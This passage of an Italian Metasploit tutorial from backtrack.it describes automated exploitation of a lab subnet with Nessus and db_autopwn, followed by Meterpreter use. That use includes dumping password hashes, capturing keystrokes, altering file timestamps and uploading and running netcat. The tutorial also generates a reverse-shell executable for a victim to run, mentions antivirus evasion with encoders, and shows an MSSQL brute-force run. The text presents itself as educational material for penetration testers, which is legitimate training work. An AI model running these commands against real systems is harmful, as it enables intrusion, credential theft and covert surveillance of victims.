mio Firewall di rete, IPCop, che essendo alla vecchia versione, anche se patchato lo scanning lo riporta come moderata. Tutti gli altri sono sistemi Microsoft Windows, che vanno dal 2000AdvancedServer ed NT, fino ad arrivare ad un XpSpk2-2006 Alla fine della scansione potremmo visualizzare le descrizioni ottenute da Nessus in vari modi, in modalità generica, dettagliata, per host singolo o per l' intera subnet, (tutte selezionabili dal menù in basso a destra della gui di Nessus), noi riporteremo la visualizzazione completa in *.html generica, queste in basso sono le immagini di tutti e cinque gli hosts visualizzate con Firefox... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it ...anche da quest' immagine la visualizzazione è facilitata dalla colorazione che Nessus ci restituisce. Ma andiamo avanri ed iniziamo ad entrare nella fase di attacco. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Appena finita la scansione, andremo a salvare l' output di Nessus con estensione *.nbe, (proprio come mostrato nell' immagine seguente), per poi chiuderlo e fermare il demone. il nome che abbiamo dato al file è: rooting.nbe. Il compito di Nessus è terminato, ci ha restituito una scansione al quale noi sianmo stati totalmente disinteresati a livello impegnativo, abbiamo salvato il nostro file in formato *.nbe quindi ora andiamo a fare il resto con l' ausilio della console di Metasploit. Questa l' immagine della console usuale.... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Nella prossima immagine invece viene mostrata la procedura per la creazione di un database, l' importazione del file *.nbe precedentemente ottenuto da Nessus e la lista degli hosts disponibili come “vulnerabili” che MSF ci restituisce in base aalla lettura di tale scansione. I comandi che sono stati dati sono: 1. db_create rooting.db - per creare un nuovo database di nome rooting.nb 2. db_import_nessus_nbe /root/rooting.nbe - per importare il file proveniente dalla scansione con Nessus in formato *.nbe 3. db_host - per elencare gli hosts letti come vulnerabili nel file Quella di seguito invece è l' immagine che rappresenta l' help del comando db_autopwn Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Bene, come vediamo dall' immagine le opzioni ideali al nostro scopo sono: 1. p – per fare in modo che gli exploits vengano selezionati secondo le porte aperte 2. x – per fare in modo che gli exploits vengano precedentemente scoperte selezionati secondo le vulnerabilità 3. e – per il lancio degli exploits verso tutti gli host nella lista vista precedentemente Quindi il comando per l' autopowning sarà: msf> db_autopwn -e -x -p l' opzione -t è soggettiva. Ed eccolo a lavoro... L' autopowning è un processo lungo in fattore tempo, automatizzato ma lungo, specialmente quando si hanno di fronte diversi host o intere subnet, ma ci risparmia il lavoro di provare vulnerabilità conosciute su tutti gli host sessione per sessione, permettendoci di venire a capo della situazione più velocemente e nel miglior modo possibile. Dopo l' attesa infatti si può vedere che sono stati aperti diversi tunnel con i vari targets, ogni tunnel è stato aperto perchè una vulnerabilità è stata trovata e sfruttata da un exploits, permettendo al payload di fare il suo lavoro La subnet si trova nel mio lab, appositamente creato per fare tutti i test a me nessari, infatti potete vedere dall' immagine sottostante che sono stati creati ben 24 tunnel (o.O – LOL!). Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Una volta che il processo di autopowning in MSF è finito diamo il solito comando per vedere la lista di tutti i tunnel aperti con Meterpreter: msf> sessions -l Con la solita descrizione: ID – Tipo Di Sessione – Tunnel FROM -> Tunnel TO Ora ci basterà indicare la sessione in cui vogliamo entrare e potremo interagire con il Meterpreter. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it “Il Meterpreter” L' autopowning di Metasploit è, (come anche quello di Fast-Track che lo richiama), automaticamente settato per aprire sessioni tramite il payload Meterpreter, questo perché il Meterpreter, (MetaInterpreter), è una soluzione ottimale in ogni caso, è un payload molto avanzato che ha avuto un' evoluzione straordinaria, specie a partire dalla v3.* del MSF, è leggero, flessibile e permette un' interazione con l' host attaccato unica nel suo genere. Ma vediamo alcune delle features più importanti: 1. upload e download di files e librerie 2. possibilità di fare sniffing 3. detection 4. enumerazione 5. può essere trasformato in file eseguibile 6. permette tramite script di essere modificato/arricchito all' istante Insomma Meterpreter è un payload degno del MSF, gestibile e configurabile in maniera eccezionale. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Per avere un idea su tutte le funzionalità del meterpreter basta dare uno sguardo al trunk nella propria installazione oppure guardare direttamente online le feature disponibili [ http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/ ] visto che abbiamo già detto che il Meterpreter è ricco di funzionalità di scripting va da sè che gli update sono frequenti. Con la breve lista delle possibilità del Meterpreter, abbiamo voluto solo elencare le funzionalità maggiori, va da sè che se è posibile trasformare il payload in eseguibile significa che è poossibile usarlo come backdoor, se è possibile ancora fare upload di librerie può agire come keylogger / scanner / sniffer / fingerprinter eccetera, non spetta a questo documento coprire il 100% degli aspetti del Meterpreter o dello stesso MSF, sarebbe assurda come pretesa e soprattutto impossibile con la frequenza di aggiornamento rilevata. Andiamo ora avanti con la parte finale dei nostri esempi, per vedere, con qualche immagine, più da vicino alcune delle cose che è possibile fare con il Meterpreter. Guardiamo ad esempio l' immagine seguente: Durante una sessione exploitata abbiamo creato un interazione con uno, (dei ben 24 :D), tunnel disponibili, dopodiché con il solo comando hashdump, ci siamo portati a schermo l' intero database delle hash del sistema attaccato. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Se ricordate bene nell' esempio di exploitation, (il secondo – video “Metasploit Framework”), con la versione 2 del MSF, per ottenere lo stesso risultato abbiamo dovuto caricare sull' host remoto delle librerie *.dll, Process e Fs, caricare ancora Sam, e prendere le hash con gethashes, cosa che ora viene tutta automatizzata semplicemente dando il comando hashdump. ;-) Questa l' immagine del Meterpreter in azione con la vecchia versione del MSF. e naturalmente... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it È possibile vedere tutte le opzioni del Meterpreter in maniera dettagliata digitando help durante una sessione: meterpreter > help Core Commands ============= Command ------? background channel close exit help interact irb migrate quit read run use write Description ----------Help menu Backgrounds the current session Displays information about active channels Closes a channel Terminate the meterpreter session Help menu Interacts with a channel Drop into irb scripting mode Migrate the server to another process Terminate the meterpreter session Reads data from a channel Executes a meterpreter script Load a one or more meterpreter extensions Writes data to a channel Stdapi: File system Commands ============================ Command ------cat cd download edit getlwd getwd lcd lpwd ls mkdir pwd rmdir upload Description ----------Read the contents of a file to the screen Change directory Download a file or directory Edit a file Print local working directory Print working directory Change local working directory Print local working directory List files Make directory Print working directory Remove directory Upload a file or directory Stdapi: Networking Commands =========================== Command ------ipconfig portfwd route Metasploit Framework Description ----------Display interfaces Forward a local port to a remote service View and modify the routing table www.backtrack.it Metasploit Framework www.backtrack.it Stdapi: System Commands ======================= Command ------execute getpid getuid kill ps reboot reg rev2self shutdown sysinfo Description ----------Execute a command Get the current process identifier Get the user that the server is running as Terminate a process List running processes Reboots the remote computer Modify and interact with the remote registry Calls RevertToSelf() on the remote machine Shuts down the remote computer Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command ------enumdesktops idletime keyscan_dump keyscan_start keyscan_stop setdesktop uictl Description ----------List all accessible desktops and window stations Returns the number of seconds the remote user has been idle Dump they keystroke buffer Start capturing keystrokes Stop capturing keystrokes Move to a different workstation and desktop Control some of the user interface components Vediamo benissimo che le opzioni sono veramente tante, se aggiungiamo che possono essere modificate, per poi essere ricaricate, allora la cosa diventa infinita. Durante alcune sessioni, il Meterpreter non fà automaticamente upload della libreria denominata priv, nel caso, come dalle immagini sopra, non si veda l' help dettagliato del priv, basta fare l' upload automatico della libreria ed automaticamente verrà caricata. Il comando, come dall' immagine sottostante è: Metasploit Framework meterpreter> use priv www.backtrack.it Metasploit Framework www.backtrack.it meterpreter > use priv Loading extension priv...success. meterpreter > help ... Priv: Password database Commands ================================ Command ------hashdump Description ----------Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command ------timestomp Description ----------Manipulate file MACE attributes Come visibili dai nostri video, (lo riportiamo infatti solo per completezza), i comandi per l' upload e il download di files sono quelli che vediamo rispettivamente nelle immagini seguenti: upload <sorgente in locale> <destinazione remota> upload /pentest/windows-binaries/tools/nc.exe c:\\WINDOWS\\system32\\nc.exe Da notare I doppi backslash C:\\WINNT\\... nell' indicare la directory remota nell' upload download <destinazione remota> <sorgente in locale> meterpreter> download file.txt /root Una volta uplodati I nostri files, per eseguirli ci si serve del comando execute nella forma riportata nell' immagine sotto: Meterpreter> execute -c -f C:/nc.exe Get a command prompt: execute -c -f cmd.exe -H interact 1 Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it I payload dentro e non MSF sono moltissimi, ma credo che non ci siano paragoni a riguardo... Il Meterpreter è quindi considerato il payload per eccellenza, così come il MSF viene considerato, (almeno in quello che è il mondo opensource - ma non solo), il framework per eccellenza per lo sviluppo personalizzato ed il testing di exploits, payloads, opcode e auxiliary. “Metasploit for Client Side Attacks” I payload in MSF non devono essere usati obbligatoriamente dopo il setting di un determinato exploit, ma possono agire anche in molto altri modi, ad esempio da generatori di eseguibili, utili per un eventuale Client Side Attack. Il client side attack è, (come dimostrato nel secondo esempio sulla versione 2 di MSF), un tipo di attacco che necessita dell' interazione della vittima. Gli eseguibili che possono essere generati dallo stesso payload che si vuole usare. In un altro esempio di Client Side Attack possiamo utilizzare un semplice payload, una reverse_shell_tcp, per generare un *.exe e farlo eseguire alla vittima, guardiamo un momento il codice seguente: root@HaCkLaB ~/pentset/exploits/framework3/ ~# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.25 LPORT=51337 X > /tmp/wels.exe tramite la trasformazione, ottenuta grazie alla “X”, questo comando va a creare un eseguibile *.exe di nome wels nella cartella /tmp e, se successivamente viene eseguito dal sistema della vittima, l' attacker non dovrà fare altro che aprire precendentemente una sessione di exploitation generica, (tramite ad esempio un exploit multi/handler), ed attendere la connessione della vittima sulla porta settata nel payload. Va detto che è un eseguibile generico, molto probabilmente verrà anche preso come alert dalla maggiorparte degli AV in circolazione, ma ci sono molti metodi per evadere anche a questo direttamente con il framework di Metasploit, usando ad esempio una shell/reverse_tcp, (che contiene solo il codice necessario all' apertura della shell, senza ingombri aggiuntivi), per poi passarlo ad un encode con le giuste opzioni. *** Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it ./msfencode Gli encode inseriti in MSF sono dei moduli che servono a passare “codice all' interno di altro codice”, ovvero ad apportare all' esecuzione di un determinato programma, che nel nostro caso può essere ad esempio un exploit o un payload , delle modifiche, che poi andranno ad avere l' effetto desiderato. Prima è stato fatto solo accenno a come potrebbe essere cambiato il payload shell/reverse_tcp per fare in modo che non sia intercettato dall' antivirus del sistema attaccato, ma gli encoder posso passare del codice in vario modo, a seconda della piattaforma/architettuta , delle minime variabili oppure solamente stringhe di caratteri. Questo di seguito il classico help di msfencode dato con il comando: ./msfencode -h Usage: ./msfencode <options> OPTIONS: -a <opt> -b <opt> -c <opt> -e <opt> -h -i <opt> -l -m <opt> -n -o <opt> -s <opt> -t <opt> exe, vba) The architecture to encode as The list of characters to avoid: '\x00\xff' The number of times to encode the data The encoder to use Help banner Encode the contents of the supplied file path List available encoders Specifies an additional module search path Dump encoder information The output file The maximum size of the encoded data The format to display the encoded buffer with (raw, ruby, perl, c, Non faremo un esempio sugli encoders, tuttavia ci apprestiamo a descrivere un esempio sul prossimo modulo da descrivere, gli Auxiliary. Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it ./msfauxiliary Andando avanti con la descrizione del MSF arriviamo gli Auxiliary. Gli auxiliary sono dei moduli che sono stati aggiunti al framework e che possono risultare utili per qualsiasi operazione, dallo scanning allo sniffing, fino al brute-force. Il seguente è un esempio l' ho eseguito durante una prova di bruteforce che ho fatto su un host vittima su cui girava MSSQL. Essendo il framework immenso è possibile confondersi a volte sul nome di un exploit, di uno shellcode oppure di uno stesso auxiliary, in questi casi basta usare il comando search <nome_modulo> , per vedere subito le risposte ottenute. Dapprima ho cercato il modulo... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it dopodiché ho dato il comando info, per ottenere informazioni sul modulo, ed ho mostrato le opzioni che il modulo richiede per l' esecuzione con il classico show options. È visibile che le opzioni mancanti sono • la/e password/s o il file da indicare • host remoto tramite ip-address. • Il numero di THREADS da immettere, che vanno secondo l' OS che stiamo usando Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Queste le impostazioni che ho inserito per il bruteforce... Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Per le password da provare, ho inserito un file di testo di nome pwdosmp.txt contenente la password corretta “powned”, e successivamente ho lanciato il bruteforce... Con il setting posibile su un sistema UniX-like,(256 massimo), abbiamo trovato la giusta combinazione username/password in pochi secondi. *** Con la descrizione e l' esempio sugli Auxiliary abbiamo terminato il nostro documento, sapendo benissimo di non poter coprire tutti gli aspetti che un framework del calibro di Metasploit può offrire, speriamo di avervi dato la giusta spinta ad approfondire autonomamente l' argomento. *** Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it *** Nel momento in cui finiamo di scrivere questo documento è online da poco tempo il nuovo corso dell' Offensive-Security, [http://www.offensive-security.com/], “Metasploit Unlished – Mastering the Framework”, [http://www.offensive-security.com/metasploit-unleashed/], a cui lavorano varie anime, tra cui naturalmente anche il il team di Metasploit,[http://metasploit.com/], il corso è in parte free, mentre il pacchetto video + pdf + certificazione OSMP, [Offensive Security Metasploit Professional], è a pagamento, (pagamento però che: “...sarà alla portata di tutti...”), questo perché il corso ha come obbiettivo primario, oltre alla formazione professionale massima per lo studente in ambito Metasploit Framework, la raccolta di fondi per Hackers For Charity, [http://www.hackersforcharity.org/], un organizzazione no-profit, creata da Johnny Long [http://johnny.ihackstuff.com/], per l' aiuto e l' adozione a distanza di bambini delle popolazioni dell' Uganda e del Kenya. Non credo che ci sia un' altra occasione simile :-) *** Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it Metasploit Framework [http://metasploit.com/] in BackTrack BackTrack → Penetration → Metasploit Framework 2/3 NMap [http://insecure.org/] in BackTrack BackTrack → Network Mapping → NMap Nessus [http://www.tenablesecurity.com/] Metasploit Framework www.backtrack.it Metasploit Framework www.backtrack.it www.backtrack.it *** Questo documento è da ritenersi esclusivamente per scopi informativi / didattici, gli/l' autori/e del testo e coloro che lo ospitano sul proprio spazio non sono responsabili delle azioni commesse da terze parti. *** (c)2009 brigante & fiocinino for backtrack.it published under GNU / GPL-v3 Metasploit Framework www.backtrack.it